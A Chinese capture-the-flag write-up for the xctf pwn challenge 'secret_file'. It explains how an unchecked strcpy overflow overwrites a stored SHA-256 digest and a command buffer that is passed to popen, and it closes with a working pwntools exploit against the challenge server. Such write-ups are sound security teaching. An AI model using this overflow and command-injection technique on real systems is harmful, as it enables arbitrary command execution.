secret_file(xctf)

0x0 程序保护和流程

保护:

secret_file(xctf)_第1张图片

流程:

main()

secret_file(xctf)_第2张图片

程序先在sub_E60()中给v14,v15赋值。

secret_file(xctf)_第3张图片

然后接收一行的数据存入lineptr中,将换行符换成\x00后将lineptr中的数据复制到dest中,通过sub_DD0()将dest处前0x100的字符串的sha256的摘要存入v16中。

secret_file(xctf)_第4张图片

之后将其转化为十六进制存入v17中,之后与v15中的值进行比较如果正确就执行popen函数参数为v14。

0x1 利用过程

1.通过对流程的分析,在getline对输入没有长度限制,导致了在strcpy函数执行的的时候存在栈溢出的风险。又因为这个程序保护全开,所以不能使用传统的栈溢出的利用方式进行利用。

2.结合程序流程和栈上的参数可以发现,v17的值是通过从dest的前0x100个字符确定的,v15的值是一开始就初始化好的。又因为dest处于低地址而v15处于高地址,dest处又存在溢出,v17的值又是通过从dest的值确定的。所以可以通过在dest处溢出到v15,将v15的值覆盖为dest的前0x100个字符的sha256的摘要。这样就能够绕过判断,执行v14中的命令,并且v14中的的地址也比dest高,所以可以在溢出的同时将想要执行的命令写入v14中。

3.通过以上分析可以得出payload。

# v14距离v15有0x1b个字节 并且不能使用\x00进行填充,因为strcpy函数就复制到\x00就停止复制了。
# command的最后必须加分号,这样能让想要执行的命令与后面的脏数据分开
payload='a'*0x100+command.ljust(0x1b,' ')+hashlib.sha256(dest).hexdigest() 

0x2 exp

from pwn import *
import hashlib
sh=remote('220.249.52.133','59235')
# sh=process('./a')

dest='a'*0x100
command='cat flag.txt;'
# command='ls;'
payload=dest+command.ljust(0x1b,'a')+hashlib.sha256(dest).hexdigest()
sh.sendline(payload)
sh.interactive()

你可能感兴趣的:(xctf(pwn高手区))